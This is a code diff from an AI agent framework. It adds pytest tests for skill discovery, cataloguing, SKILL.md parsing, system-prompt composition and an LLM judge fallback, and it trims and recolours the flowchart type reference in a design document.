assert str(state_path) in caplog.text
+63
View File
@@ -338,6 +338,69 @@ class TestLLMJudgeBackwardCompatibility:
assert call_kwargs["model"] == "claude-haiku-4-5-20251001"
assert call_kwargs["max_tokens"] == 500
def test_openai_fallback_uses_litellm_provider(self, monkeypatch):
"""When OPENAI_API_KEY is set, evaluate() should use a LiteLLM-based provider."""
# Force the OpenAI fallback path (no injected provider, no Anthropic key)
monkeypatch.setenv("OPENAI_API_KEY", "sk-test-openai")
monkeypatch.delenv("ANTHROPIC_API_KEY", raising=False)
# Stub LiteLLMProvider so we don't call the real API; record what judge passes through
captured_calls: list[dict] = []
class DummyProvider:
def __init__(self, model: str = "gpt-4o-mini"):
self.model = model
def complete(
self,
messages,
system="",
tools=None,
max_tokens=1024,
response_format=None,
json_mode=False,
max_retries=None,
):
captured_calls.append(
{
"messages": messages,
"system": system,
"max_tokens": max_tokens,
"json_mode": json_mode,
"model": self.model,
}
)
class _Resp:
def __init__(self, content: str):
self.content = content
# Minimal response object with a content attribute
return _Resp('{"passes": true, "explanation": "OK"}')
monkeypatch.setattr(
"framework.llm.litellm.LiteLLMProvider",
DummyProvider,
)
judge = LLMJudge()
result = judge.evaluate(
constraint="no-hallucination",
source_document="The sky is blue.",
summary="The sky is blue.",
criteria="Summary must only contain facts from source",
)
# Judge should have used our stub once and returned the stub's JSON result
assert result["passes"] is True
assert result["explanation"] == "OK"
assert len(captured_calls) == 1
call = captured_calls[0]
assert call["model"] == "gpt-4o-mini"
assert call["max_tokens"] == 500
assert call["json_mode"] is True
# ============================================================================
# LLMJudge Integration Pattern Tests
+170
View File
@@ -0,0 +1,170 @@
"""Tests for the skill catalog and prompt generation."""
from framework.skills.catalog import SkillCatalog
from framework.skills.parser import ParsedSkill
def _make_skill(
name: str = "my-skill",
description: str = "A test skill.",
source_scope: str = "project",
body: str = "Instructions here.",
location: str = "/tmp/skills/my-skill/SKILL.md",
base_dir: str = "/tmp/skills/my-skill",
) -> ParsedSkill:
return ParsedSkill(
name=name,
description=description,
location=location,
base_dir=base_dir,
source_scope=source_scope,
body=body,
)
class TestSkillCatalog:
def test_add_and_get(self):
catalog = SkillCatalog()
skill = _make_skill()
catalog.add(skill)
assert catalog.get("my-skill") is skill
assert catalog.get("nonexistent") is None
assert catalog.skill_count == 1
def test_init_with_skills_list(self):
skills = [_make_skill("a", "Skill A"), _make_skill("b", "Skill B")]
catalog = SkillCatalog(skills)
assert catalog.skill_count == 2
assert catalog.get("a") is not None
assert catalog.get("b") is not None
def test_activation_tracking(self):
catalog = SkillCatalog([_make_skill()])
assert not catalog.is_activated("my-skill")
catalog.mark_activated("my-skill")
assert catalog.is_activated("my-skill")
def test_allowlisted_dirs(self):
skills = [
_make_skill("a", base_dir="/skills/a"),
_make_skill("b", base_dir="/skills/b"),
]
catalog = SkillCatalog(skills)
dirs = catalog.allowlisted_dirs
assert "/skills/a" in dirs
assert "/skills/b" in dirs
def test_to_prompt_empty_catalog(self):
catalog = SkillCatalog()
assert catalog.to_prompt() == ""
def test_to_prompt_framework_only(self):
"""Framework-scope skills should NOT appear in the catalog prompt."""
catalog = SkillCatalog([_make_skill(source_scope="framework")])
assert catalog.to_prompt() == ""
def test_to_prompt_xml_generation(self):
skills = [
_make_skill("alpha", "Alpha skill", "project", location="/p/alpha/SKILL.md"),
_make_skill("beta", "Beta skill", "user", location="/u/beta/SKILL.md"),
]
catalog = SkillCatalog(skills)
prompt = catalog.to_prompt()
assert "<available_skills>" in prompt
assert "</available_skills>" in prompt
assert "<name>alpha</name>" in prompt
assert "<name>beta</name>" in prompt
assert "<description>Alpha skill</description>" in prompt
assert "<location>/p/alpha/SKILL.md</location>" in prompt
def test_to_prompt_sorted_by_name(self):
skills = [
_make_skill("zebra", "Z skill", "project"),
_make_skill("alpha", "A skill", "project"),
]
catalog = SkillCatalog(skills)
prompt = catalog.to_prompt()
alpha_pos = prompt.index("alpha")
zebra_pos = prompt.index("zebra")
assert alpha_pos < zebra_pos
def test_to_prompt_xml_escaping(self):
skill = _make_skill("test", 'Has <special> & "chars"', "project")
catalog = SkillCatalog([skill])
prompt = catalog.to_prompt()
assert "&lt;special&gt;" in prompt
assert "&amp;" in prompt
def test_to_prompt_excludes_framework_includes_others(self):
"""Mixed scopes: only framework skills are excluded from catalog."""
skills = [
_make_skill("proj", "Project skill", "project"),
_make_skill("usr", "User skill", "user"),
_make_skill("fw", "Framework skill", "framework"),
]
catalog = SkillCatalog(skills)
prompt = catalog.to_prompt()
assert "<name>proj</name>" in prompt
assert "<name>usr</name>" in prompt
assert "fw" not in prompt
def test_to_prompt_contains_behavioral_instruction(self):
catalog = SkillCatalog([_make_skill(source_scope="project")])
prompt = catalog.to_prompt()
assert "When a task matches a skill's description" in prompt
assert "SKILL.md" in prompt
def test_build_pre_activated_prompt(self):
skill = _make_skill("research", body="## Deep Research\nDo thorough research.")
catalog = SkillCatalog([skill])
prompt = catalog.build_pre_activated_prompt(["research"])
assert "Pre-Activated Skill: research" in prompt
assert "## Deep Research" in prompt
assert catalog.is_activated("research")
def test_build_pre_activated_skips_already_activated(self):
skill = _make_skill("research", body="Research body")
catalog = SkillCatalog([skill])
catalog.mark_activated("research")
prompt = catalog.build_pre_activated_prompt(["research"])
assert prompt == ""
def test_build_pre_activated_missing_skill(self):
catalog = SkillCatalog()
prompt = catalog.build_pre_activated_prompt(["nonexistent"])
assert prompt == ""
def test_build_pre_activated_multiple(self):
skills = [
_make_skill("a", body="Body A"),
_make_skill("b", body="Body B"),
]
catalog = SkillCatalog(skills)
prompt = catalog.build_pre_activated_prompt(["a", "b"])
assert "Pre-Activated Skill: a" in prompt
assert "Body A" in prompt
assert "Pre-Activated Skill: b" in prompt
assert "Body B" in prompt
assert catalog.is_activated("a")
assert catalog.is_activated("b")
def test_duplicate_add_overwrites(self):
"""Adding a skill with the same name replaces the previous one."""
catalog = SkillCatalog()
catalog.add(_make_skill("x", "First"))
catalog.add(_make_skill("x", "Second"))
assert catalog.skill_count == 1
assert catalog.get("x").description == "Second"
+160
View File
@@ -0,0 +1,160 @@
"""Tests for skill discovery."""
from pathlib import Path
from framework.skills.discovery import DiscoveryConfig, SkillDiscovery
def _write_skill(base: Path, name: str, description: str = "A test skill.") -> Path:
"""Create a minimal skill directory with SKILL.md."""
skill_dir = base / name
skill_dir.mkdir(parents=True, exist_ok=True)
(skill_dir / "SKILL.md").write_text(
f"---\nname: {name}\ndescription: {description}\n---\n\nInstructions.\n",
encoding="utf-8",
)
return skill_dir
class TestSkillDiscovery:
def test_discover_project_skills(self, tmp_path):
# Create project-level skills
agents_skills = tmp_path / ".agents" / "skills"
_write_skill(agents_skills, "skill-a")
_write_skill(agents_skills, "skill-b")
discovery = SkillDiscovery(
DiscoveryConfig(
project_root=tmp_path,
skip_user_scope=True,
skip_framework_scope=True,
)
)
skills = discovery.discover()
names = {s.name for s in skills}
assert "skill-a" in names
assert "skill-b" in names
assert all(s.source_scope == "project" for s in skills)
def test_hive_skills_path(self, tmp_path):
hive_skills = tmp_path / ".hive" / "skills"
_write_skill(hive_skills, "hive-skill")
discovery = SkillDiscovery(
DiscoveryConfig(
project_root=tmp_path,
skip_user_scope=True,
skip_framework_scope=True,
)
)
skills = discovery.discover()
assert len(skills) == 1
assert skills[0].name == "hive-skill"
def test_collision_project_overrides_user(self, tmp_path, monkeypatch):
# User-level skill
user_skills = tmp_path / "home" / ".agents" / "skills"
_write_skill(user_skills, "shared-skill", "User version")
# Project-level skill with same name
project_skills = tmp_path / "project" / ".agents" / "skills"
_write_skill(project_skills, "shared-skill", "Project version")
monkeypatch.setattr(Path, "home", lambda: tmp_path / "home")
discovery = SkillDiscovery(
DiscoveryConfig(
project_root=tmp_path / "project",
skip_framework_scope=True,
)
)
skills = discovery.discover()
matching = [s for s in skills if s.name == "shared-skill"]
assert len(matching) == 1
assert matching[0].description == "Project version"
def test_collision_hive_overrides_agents(self, tmp_path):
# Cross-client path
agents_skills = tmp_path / ".agents" / "skills"
_write_skill(agents_skills, "override-test", "Agents version")
# Hive-specific path (higher precedence)
hive_skills = tmp_path / ".hive" / "skills"
_write_skill(hive_skills, "override-test", "Hive version")
discovery = SkillDiscovery(
DiscoveryConfig(
project_root=tmp_path,
skip_user_scope=True,
skip_framework_scope=True,
)
)
skills = discovery.discover()
matching = [s for s in skills if s.name == "override-test"]
assert len(matching) == 1
assert matching[0].description == "Hive version"
def test_skips_git_and_node_modules(self, tmp_path):
skills_dir = tmp_path / ".agents" / "skills"
_write_skill(skills_dir / ".git", "git-skill")
_write_skill(skills_dir / "node_modules", "npm-skill")
_write_skill(skills_dir, "real-skill")
discovery = SkillDiscovery(
DiscoveryConfig(
project_root=tmp_path,
skip_user_scope=True,
skip_framework_scope=True,
)
)
skills = discovery.discover()
names = {s.name for s in skills}
assert "real-skill" in names
assert "git-skill" not in names
assert "npm-skill" not in names
def test_empty_scan(self, tmp_path):
discovery = SkillDiscovery(
DiscoveryConfig(
project_root=tmp_path,
skip_user_scope=True,
skip_framework_scope=True,
)
)
skills = discovery.discover()
assert skills == []
def test_framework_scope_loads_defaults(self):
"""Framework scope should find the built-in default skills."""
discovery = SkillDiscovery(
DiscoveryConfig(
skip_user_scope=True,
)
)
skills = discovery.discover()
framework_skills = [s for s in skills if s.source_scope == "framework"]
names = {s.name for s in framework_skills}
assert "hive.note-taking" in names
assert "hive.batch-ledger" in names
def test_max_depth_limit(self, tmp_path):
# Create a skill nested beyond max_depth
deep = tmp_path / ".agents" / "skills" / "a" / "b" / "c" / "d" / "e"
_write_skill(deep, "too-deep")
discovery = SkillDiscovery(
DiscoveryConfig(
project_root=tmp_path,
skip_user_scope=True,
skip_framework_scope=True,
max_depth=2,
)
)
skills = discovery.discover()
assert not any(s.name == "too-deep" for s in skills)
+222
View File
@@ -0,0 +1,222 @@
"""Integration tests for the skill system — prompt composition and backward compatibility."""
from framework.graph.prompt_composer import compose_system_prompt
from framework.skills.catalog import SkillCatalog
from framework.skills.config import SkillsConfig
from framework.skills.defaults import DefaultSkillManager
from framework.skills.discovery import DiscoveryConfig, SkillDiscovery
from framework.skills.parser import ParsedSkill
def _make_skill(
name: str = "test-skill",
description: str = "A test skill.",
source_scope: str = "project",
body: str = "Skill instructions.",
location: str = "/tmp/skills/test-skill/SKILL.md",
base_dir: str = "/tmp/skills/test-skill",
) -> ParsedSkill:
return ParsedSkill(
name=name,
description=description,
location=location,
base_dir=base_dir,
source_scope=source_scope,
body=body,
)
class TestPromptComposition:
"""Test that skill prompts integrate correctly with compose_system_prompt."""
def test_backward_compat_no_skill_params(self):
"""compose_system_prompt works without skill params (backward compat)."""
prompt = compose_system_prompt(
identity_prompt="You are a helpful agent.",
focus_prompt="Focus on the task.",
)
assert "You are a helpful agent." in prompt
assert "Focus on the task." in prompt
assert "Current date and time" in prompt
def test_skills_catalog_in_prompt(self):
catalog = SkillCatalog([_make_skill(source_scope="project")])
catalog_prompt = catalog.to_prompt()
prompt = compose_system_prompt(
identity_prompt="You are an agent.",
focus_prompt=None,
skills_catalog_prompt=catalog_prompt,
)
assert "<available_skills>" in prompt
assert "<name>test-skill</name>" in prompt
def test_protocols_in_prompt(self):
manager = DefaultSkillManager()
manager.load()
protocols_prompt = manager.build_protocols_prompt()
prompt = compose_system_prompt(
identity_prompt="You are an agent.",
focus_prompt=None,
protocols_prompt=protocols_prompt,
)
assert "## Operational Protocols" in prompt
def test_full_prompt_ordering(self):
"""Verify the three-layer onion ordering with all sections present."""
catalog = SkillCatalog([_make_skill(source_scope="project")])
prompt = compose_system_prompt(
identity_prompt="IDENTITY_SECTION",
focus_prompt="FOCUS_SECTION",
narrative="NARRATIVE_SECTION",
accounts_prompt="ACCOUNTS_SECTION",
skills_catalog_prompt=catalog.to_prompt(),
protocols_prompt="PROTOCOLS_SECTION",
)
identity_pos = prompt.index("IDENTITY_SECTION")
accounts_pos = prompt.index("ACCOUNTS_SECTION")
skills_pos = prompt.index("available_skills")
protocols_pos = prompt.index("PROTOCOLS_SECTION")
narrative_pos = prompt.index("NARRATIVE_SECTION")
focus_pos = prompt.index("FOCUS_SECTION")
# Identity → Accounts → Skills → Protocols → Narrative → Focus
assert identity_pos < accounts_pos
assert accounts_pos < skills_pos
assert skills_pos < protocols_pos
assert protocols_pos < narrative_pos
assert narrative_pos < focus_pos
def test_none_skill_prompts_excluded(self):
"""None values for skill prompts should not add content."""
prompt = compose_system_prompt(
identity_prompt="Hello",
focus_prompt=None,
skills_catalog_prompt=None,
protocols_prompt=None,
)
assert "available_skills" not in prompt
assert "Operational Protocols" not in prompt
def test_empty_skill_prompts_excluded(self):
"""Empty string skill prompts should not add content."""
prompt = compose_system_prompt(
identity_prompt="Hello",
focus_prompt=None,
skills_catalog_prompt="",
protocols_prompt="",
)
assert "available_skills" not in prompt
assert "Operational Protocols" not in prompt
class TestEndToEndPipeline:
"""Test the full discovery → catalog → prompt pipeline."""
def test_discovery_to_catalog_to_prompt(self, tmp_path):
# Create a project skill
skill_dir = tmp_path / ".agents" / "skills" / "my-tool"
skill_dir.mkdir(parents=True)
(skill_dir / "SKILL.md").write_text(
"---\nname: my-tool\ndescription: Tool for testing.\n---\n\n"
"## Usage\nUse this tool when testing.\n",
encoding="utf-8",
)
# Discovery
discovery = SkillDiscovery(
DiscoveryConfig(
project_root=tmp_path,
skip_user_scope=True,
skip_framework_scope=True,
)
)
skills = discovery.discover()
assert len(skills) == 1
# Catalog
catalog = SkillCatalog(skills)
assert catalog.skill_count == 1
# Prompt generation
prompt = catalog.to_prompt()
assert "<name>my-tool</name>" in prompt
assert "<description>Tool for testing.</description>" in prompt
# Pre-activation
activated = catalog.build_pre_activated_prompt(["my-tool"])
assert "## Usage" in activated
assert catalog.is_activated("my-tool")
def test_defaults_plus_community_skills(self, tmp_path):
"""Default skills and community skills produce separate prompt sections."""
# Create a community skill
skill_dir = tmp_path / ".agents" / "skills" / "community-skill"
skill_dir.mkdir(parents=True)
(skill_dir / "SKILL.md").write_text(
"---\nname: community-skill\ndescription: A community skill.\n---\n\nDo stuff.\n",
encoding="utf-8",
)
# Discover community skills
discovery = SkillDiscovery(
DiscoveryConfig(
project_root=tmp_path,
skip_user_scope=True,
skip_framework_scope=True,
)
)
community_skills = discovery.discover()
catalog = SkillCatalog(community_skills)
catalog_prompt = catalog.to_prompt()
# Load default skills
manager = DefaultSkillManager()
manager.load()
protocols_prompt = manager.build_protocols_prompt()
# Compose
prompt = compose_system_prompt(
identity_prompt="Agent identity.",
focus_prompt=None,
skills_catalog_prompt=catalog_prompt,
protocols_prompt=protocols_prompt,
)
# Both sections present
assert "<available_skills>" in prompt
assert "<name>community-skill</name>" in prompt
assert "## Operational Protocols" in prompt
def test_config_disables_defaults_keeps_community(self, tmp_path):
"""Disabling all defaults should still allow community skills."""
skill_dir = tmp_path / ".agents" / "skills" / "still-here"
skill_dir.mkdir(parents=True)
(skill_dir / "SKILL.md").write_text(
"---\nname: still-here\ndescription: Survives config.\n---\n\nBody.\n",
encoding="utf-8",
)
# Community skills
discovery = SkillDiscovery(
DiscoveryConfig(
project_root=tmp_path,
skip_user_scope=True,
skip_framework_scope=True,
)
)
catalog = SkillCatalog(discovery.discover())
# Disabled defaults
config = SkillsConfig(all_defaults_disabled=True)
manager = DefaultSkillManager(config)
manager.load()
catalog_prompt = catalog.to_prompt()
protocols_prompt = manager.build_protocols_prompt()
assert "<name>still-here</name>" in catalog_prompt
assert protocols_prompt == ""
+183
View File
@@ -0,0 +1,183 @@
"""Tests for SKILL.md parser."""
from pathlib import Path
import pytest
from framework.skills.parser import parse_skill_md
@pytest.fixture
def tmp_skill(tmp_path):
"""Helper to create a SKILL.md file and return its path."""
def _create(content: str, dir_name: str = "my-skill") -> Path:
skill_dir = tmp_path / dir_name
skill_dir.mkdir(parents=True, exist_ok=True)
skill_md = skill_dir / "SKILL.md"
skill_md.write_text(content, encoding="utf-8")
return skill_md
return _create
class TestParseSkillMd:
def test_happy_path(self, tmp_skill):
content = """---
name: my-skill
description: A test skill for unit testing.
license: MIT
---
## Instructions
Do the thing.
"""
result = parse_skill_md(tmp_skill(content), source_scope="project")
assert result is not None
assert result.name == "my-skill"
assert result.description == "A test skill for unit testing."
assert result.license == "MIT"
assert result.source_scope == "project"
assert "Do the thing." in result.body
def test_missing_description_returns_none(self, tmp_skill):
content = """---
name: no-desc
---
Body here.
"""
result = parse_skill_md(tmp_skill(content, "no-desc"))
assert result is None
def test_missing_name_uses_directory(self, tmp_skill):
content = """---
description: Skill without a name field.
---
Body.
"""
result = parse_skill_md(tmp_skill(content, "fallback-dir"))
assert result is not None
assert result.name == "fallback-dir"
def test_empty_file_returns_none(self, tmp_skill):
result = parse_skill_md(tmp_skill("", "empty"))
assert result is None
def test_no_frontmatter_delimiters_returns_none(self, tmp_skill):
content = "Just plain text without YAML frontmatter."
result = parse_skill_md(tmp_skill(content, "no-yaml"))
assert result is None
def test_unparseable_yaml_returns_none(self, tmp_skill):
content = """---
name: [invalid yaml
- broken: {{
---
Body.
"""
result = parse_skill_md(tmp_skill(content, "bad-yaml"))
assert result is None
def test_unquoted_colon_fixup(self, tmp_skill):
content = """---
name: colon-test
description: Use for: research tasks
---
Body.
"""
result = parse_skill_md(tmp_skill(content, "colon-test"))
assert result is not None
assert "research tasks" in result.description
def test_long_name_warns_but_loads(self, tmp_skill):
long_name = "a" * 100
content = f"""---
name: {long_name}
description: A skill with an excessively long name.
---
Body.
"""
result = parse_skill_md(tmp_skill(content, "long-name"))
assert result is not None
assert result.name == long_name
def test_name_mismatch_warns_but_loads(self, tmp_skill):
content = """---
name: different-name
description: Name doesn't match directory.
---
Body.
"""
result = parse_skill_md(tmp_skill(content, "actual-dir"))
assert result is not None
assert result.name == "different-name"
def test_optional_fields(self, tmp_skill):
content = """---
name: full-skill
description: Skill with all optional fields.
license: Apache-2.0
compatibility:
- claude-code
- cursor
metadata:
author: tester
version: "1.0"
allowed-tools:
- web_search
- read_file
---
Instructions here.
"""
result = parse_skill_md(tmp_skill(content, "full-skill"))
assert result is not None
assert result.license == "Apache-2.0"
assert result.compatibility == ["claude-code", "cursor"]
assert result.metadata == {"author": "tester", "version": "1.0"}
assert result.allowed_tools == ["web_search", "read_file"]
def test_body_extraction(self, tmp_skill):
content = """---
name: body-test
description: Test body extraction.
---
## Step 1
Do this first.
## Step 2
Then do this.
"""
result = parse_skill_md(tmp_skill(content, "body-test"))
assert result is not None
assert "## Step 1" in result.body
assert "## Step 2" in result.body
assert "Do this first." in result.body
def test_location_is_absolute(self, tmp_skill):
content = """---
name: abs-path
description: Check absolute path.
---
Body.
"""
path = tmp_skill(content, "abs-path")
result = parse_skill_md(path)
assert result is not None
assert Path(result.location).is_absolute()
assert Path(result.base_dir).is_absolute()
def test_nonexistent_file_returns_none(self, tmp_path):
result = parse_skill_md(tmp_path / "nonexistent" / "SKILL.md")
assert result is None
+60
View File
@@ -299,6 +299,66 @@ class TestSubagentExecution:
assert "metadata" in result_data
assert result_data["metadata"]["agent_id"] == "researcher"
@pytest.mark.asyncio
async def test_gcu_subagent_auto_populates_tools_from_catalog(self, runtime):
"""GCU subagent with tools=[] should receive all catalog tools (auto-populate).
GCU nodes declare tools=[] because the runner expands them at setup time.
But _execute_subagent filters by subagent_spec.tools, which is still empty.
The fix: when subagent is GCU with no declared tools, include all catalog tools.
"""
gcu_spec = NodeSpec(
id="browser_worker",
name="Browser Worker",
description="GCU browser subagent",
node_type="gcu",
output_keys=["result"],
tools=[], # Empty — expects auto-population
)
parent_spec = NodeSpec(
id="parent",
name="Parent",
description="Orchestrator",
node_type="event_loop",
output_keys=["result"],
sub_agents=["browser_worker"],
)
spy_llm = MockStreamingLLM(
[set_output_scenario("result", "scraped"), text_finish_scenario()]
)
browser_tool = Tool(name="browser_snapshot", description="Snapshot")
node = EventLoopNode(config=LoopConfig(max_iterations=5))
memory = SharedMemory()
scoped = memory.with_permissions(read_keys=[], write_keys=["result"])
ctx = NodeContext(
runtime=runtime,
node_id="parent",
node_spec=parent_spec,
memory=scoped,
input_data={},
llm=spy_llm,
available_tools=[],
all_tools=[browser_tool],
goal_context="",
goal=None,
node_registry={"browser_worker": gcu_spec},
)
result = await node._execute_subagent(ctx, "browser_worker", "Scrape example.com")
assert result.is_error is False
# Verify subagent LLM received browser tools from catalog
assert spy_llm.stream_calls, "LLM should have been called"
first_call_tools = spy_llm.stream_calls[0]["tools"]
tool_names = {t.name for t in first_call_tools} if first_call_tools else set()
assert "browser_snapshot" in tool_names
assert "delegate_to_sub_agent" not in tool_names
# ---------------------------------------------------------------------------
# Tests for nested subagent prevention
+40 -88
View File
@@ -1,6 +1,6 @@
# Draft Flowchart System — Complete Reference
The draft flowchart system bridges user-facing workflow design (planning phase) and the runtime agent graph (execution phase). During planning, the queen agent creates an ISO 5807 flowchart that the user reviews. On approval, decision nodes are dissolved into runtime-compatible structures, and the original flowchart is preserved for live status overlay during execution.
The draft flowchart system bridges user-facing workflow design (planning phase) and the runtime agent graph (execution phase). During planning, the queen agent creates a flowchart that the user reviews. On approval, decision nodes are dissolved into runtime-compatible structures, and the original flowchart is preserved for live status overlay during execution.
---
@@ -20,14 +20,15 @@ DraftGraph (SSE) ────► │ Decision diamonds │
│ │ merged into │ Flowchart Map
▼ │ predecessor criteria │ inverts to
Frontend renders │ │ overlay status
ISO 5807 flowchart │ Original draft │ on original
Flowchart with │ Original draft │ on original
with diamond │ preserved │ flowchart
decisions │ │
└──────────────────────┘
```
**Key files:**
- Backend: `core/framework/tools/queen_lifecycle_tools.py` — draft creation, classification, dissolution
- Backend: `core/framework/tools/queen_lifecycle_tools.py` — draft creation, dissolution
- Backend: `core/framework/tools/flowchart_utils.py` — type definitions, classification, persistence
- Backend: `core/framework/server/routes_graphs.py` — REST endpoints
- Frontend: `core/frontend/src/components/DraftGraph.tsx` — SVG flowchart renderer
- Frontend: `core/frontend/src/api/types.ts` — TypeScript interfaces
@@ -114,17 +115,9 @@ decisions │ │
"type": "string",
"enum": [
"start", "terminal", "process", "decision",
"io", "document", "multi_document",
"subprocess", "preparation",
"manual_input", "manual_operation",
"delay", "display",
"database", "stored_data", "internal_storage",
"connector", "offpage_connector",
"merge", "extract", "sort", "collate",
"summing_junction", "or",
"browser", "comment", "alternate_process"
"io", "document", "database", "subprocess", "browser"
],
"description": "ISO 5807 flowchart symbol. Auto-detected if omitted."
"description": "Flowchart symbol type. Auto-detected if omitted."
},
"tools": {
"type": "array",
@@ -213,7 +206,7 @@ After `save_agent_draft` processes the input, it stores and emits an enriched dr
"sub_agents": [],
"flowchart_type": "start",
"flowchart_shape": "stadium",
"flowchart_color": "#4CAF50"
"flowchart_color": "#8aad3f"
},
{
"id": "check-tier",
@@ -223,7 +216,7 @@ After `save_agent_draft` processes the input, it stores and emits an enriched dr
"decision_clause": "Is lead score > 80?",
"flowchart_type": "decision",
"flowchart_shape": "diamond",
"flowchart_color": "#FF9800"
"flowchart_color": "#d89d26"
}
],
"edges": [
@@ -253,10 +246,10 @@ After `save_agent_draft` processes the input, it stores and emits an enriched dr
}
],
"flowchart_legend": {
"start": { "shape": "stadium", "color": "#4CAF50" },
"terminal": { "shape": "stadium", "color": "#F44336" },
"process": { "shape": "rectangle", "color": "#2196F3" },
"decision": { "shape": "diamond", "color": "#FF9800" }
"start": { "shape": "stadium", "color": "#8aad3f" },
"terminal": { "shape": "stadium", "color": "#b5453a" },
"process": { "shape": "rectangle", "color": "#b5a575" },
"decision": { "shape": "diamond", "color": "#d89d26" }
}
}
```
@@ -265,7 +258,7 @@ After `save_agent_draft` processes the input, it stores and emits an enriched dr
| Field | Type | Description |
|---|---|---|
| `flowchart_type` | `string` | The resolved ISO 5807 symbol type |
| `flowchart_type` | `string` | The resolved flowchart symbol type |
| `flowchart_shape` | `string` | SVG shape identifier for the frontend renderer |
| `flowchart_color` | `string` | Hex color code for the symbol |
@@ -290,67 +283,27 @@ Returned by `GET /api/sessions/{id}/flowchart-map` after `confirm_and_build()` d
---
## 2. ISO 5807 Flowchart Types
### Core Symbols
## 2. Flowchart Types
| Type | Shape | Color | SVG Primitive | Description |
|---|---|---|---|---|
| `start` | stadium | `#4CAF50` green | `<rect rx={h/2}>` | Entry point / start terminator |
| `terminal` | stadium | `#F44336` red | `<rect rx={h/2}>` | End point / stop terminator |
| `process` | rectangle | `#2196F3` blue | `<rect rx={4}>` | General processing step |
| `decision` | diamond | `#FF9800` amber | `<polygon>` 4-point | Branching / conditional logic |
| `io` | parallelogram | `#9C27B0` purple | `<polygon>` skewed | Data input or output |
| `document` | document | `#607D8B` blue-grey | `<path>` wavy bottom | Single document output |
| `multi_document` | multi_document | `#78909C` blue-grey | stacked `<rect>` + `<path>` | Multiple documents |
| `subprocess` | subroutine | `#009688` teal | `<rect>` + inner `<line>` | Predefined process / sub-agent |
| `preparation` | hexagon | `#795548` brown | `<polygon>` 6-point | Setup / initialization step |
| `manual_input` | manual_input | `#E91E63` pink | `<polygon>` sloped top | Manual data entry |
| `manual_operation` | trapezoid | `#AD1457` dark pink | `<polygon>` tapered bottom | Human-in-the-loop / approval |
| `delay` | delay | `#FF5722` deep orange | `<path>` D-shape | Wait / pause / cooldown |
| `display` | display | `#00BCD4` cyan | `<path>` pointed left | Display / render output |
### Data Storage Symbols
| Type | Shape | Color | SVG Primitive | Description |
|---|---|---|---|---|
| `database` | cylinder | `#8BC34A` light green | `<path>` + `<ellipse>` top/bottom | Database / direct access storage |
| `stored_data` | stored_data | `#CDDC39` lime | `<path>` curved left | Generic data store |
| `internal_storage` | internal_storage | `#FFC107` amber | `<rect>` + internal `<line>` grid | Internal memory / cache |
### Connectors
| Type | Shape | Color | SVG Primitive | Description |
|---|---|---|---|---|
| `connector` | circle | `#9E9E9E` grey | `<circle>` | On-page connector |
| `offpage_connector` | pentagon | `#757575` dark grey | `<polygon>` 5-point | Off-page connector |
### Flow Operations
| Type | Shape | Color | SVG Primitive | Description |
|---|---|---|---|---|
| `merge` | triangle_inv | `#3F51B5` indigo | `<polygon>` inverted | Merge multiple flows |
| `extract` | triangle | `#5C6BC0` indigo light | `<polygon>` upward | Extract / split flow |
| `sort` | hourglass | `#7986CB` indigo lighter | `<polygon>` X-shape | Sort operation |
| `collate` | hourglass_inv | `#9FA8DA` indigo lightest | `<polygon>` X-shape inv | Collate operation |
| `summing_junction` | circle_cross | `#F06292` pink light | `<circle>` + cross `<line>` | Summing junction |
| `or` | circle_bar | `#CE93D8` purple light | `<circle>` + plus `<line>` | Logical OR |
### Domain-Specific (Hive)
| Type | Shape | Color | SVG Primitive | Description |
|---|---|---|---|---|
| `browser` | hexagon | `#1A237E` dark indigo | `<polygon>` 6-point | Browser automation (GCU node) |
| `comment` | flag | `#BDBDBD` light grey | `<path>` notched right | Annotation / comment |
| `alternate_process` | rounded_rect | `#42A5F5` light blue | `<rect rx={12}>` | Alternate process variant |
| `start` | stadium | `#8aad3f` spring pollen | `<rect rx={h/2}>` | Entry point / start terminator |
| `terminal` | stadium | `#b5453a` propolis red | `<rect rx={h/2}>` | End point / stop terminator |
| `process` | rectangle | `#b5a575` warm wheat | `<rect rx={4}>` | General processing step (default) |
| `decision` | diamond | `#d89d26` royal honey | `<polygon>` 4-point | Branching / conditional logic |
| `io` | parallelogram | `#d06818` burnt orange | `<polygon>` skewed | Data input or output |
| `document` | document | `#c4b830` goldenrod | `<path>` wavy bottom | Document / report generation |
| `database` | cylinder | `#508878` sage teal | `<path>` + `<ellipse>` | Database / data store |
| `subprocess` | subroutine | `#887a48` propolis gold | `<rect>` + inner `<line>` | Predefined process / sub-agent |
| `browser` | hexagon | `#cc8850` honey copper | `<polygon>` 6-point | Browser automation (GCU node) |
---
## 3. Auto-Classification Priority
When `flowchart_type` is omitted from a node, the backend classifies it automatically using this priority (function `_classify_flowchart_node` in `queen_lifecycle_tools.py`):
When `flowchart_type` is omitted from a node, the backend classifies it automatically using this priority (function `classify_flowchart_node` in `flowchart_utils.py`):
1. **Explicit override** — if `flowchart_type` is set and valid, use it
1. **Explicit override** — if `flowchart_type` is set and valid, use it (old type names are remapped automatically)
2. **Node type**`gcu` nodes become `browser`
3. **Position** — first node becomes `start`
4. **Terminal detection** — nodes in `terminal_nodes` (or with no outgoing edges) become `terminal`
@@ -359,14 +312,8 @@ When `flowchart_type` is omitted from a node, the backend classifies it automati
7. **Tool heuristics** — tool names match known patterns:
- DB tools (`query_database`, `sql_query`, `read_table`, etc.) → `database`
- Doc tools (`generate_report`, `create_document`, etc.) → `document`
- I/O tools (`send_email`, `post_to_slack`, `fetch_url`, etc.) → `io`
- Display tools (`serve_file_to_user`, `display_results`) → `display`
- I/O tools (`send_email`, `post_to_slack`, `fetch_url`, `display_results`, etc.) → `io`
8. **Description keyword heuristics**:
- `"manual"`, `"approval"`, `"human review"``manual_operation`
- `"setup"`, `"prepare"`, `"configure"``preparation`
- `"wait"`, `"delay"`, `"pause"``delay`
- `"merge"`, `"combine"`, `"aggregate"``merge`
- `"display"`, `"show"`, `"render"``display`
- `"database"`, `"data store"`, `"persist"``database`
- `"report"`, `"document"`, `"summary"``document`
- `"deliver"`, `"send"`, `"notify"``io`
@@ -441,7 +388,7 @@ The runtime Level 2 judge evaluates the decision clause against the node's conve
An SVG-based flowchart renderer that operates in two modes:
1. **Planning mode** — renders the draft graph with ISO 5807 shapes during the planning phase
1. **Planning mode** — renders the draft graph with flowchart shapes during the planning phase
2. **Runtime overlay mode** — renders the original (pre-dissolution) draft with live execution status when `flowchartMap` and `runtimeNodes` props are provided
#### Props
@@ -475,7 +422,7 @@ Constants:
#### Shape Rendering
The `FlowchartShape` component renders each ISO 5807 shape as SVG primitives. Each shape receives:
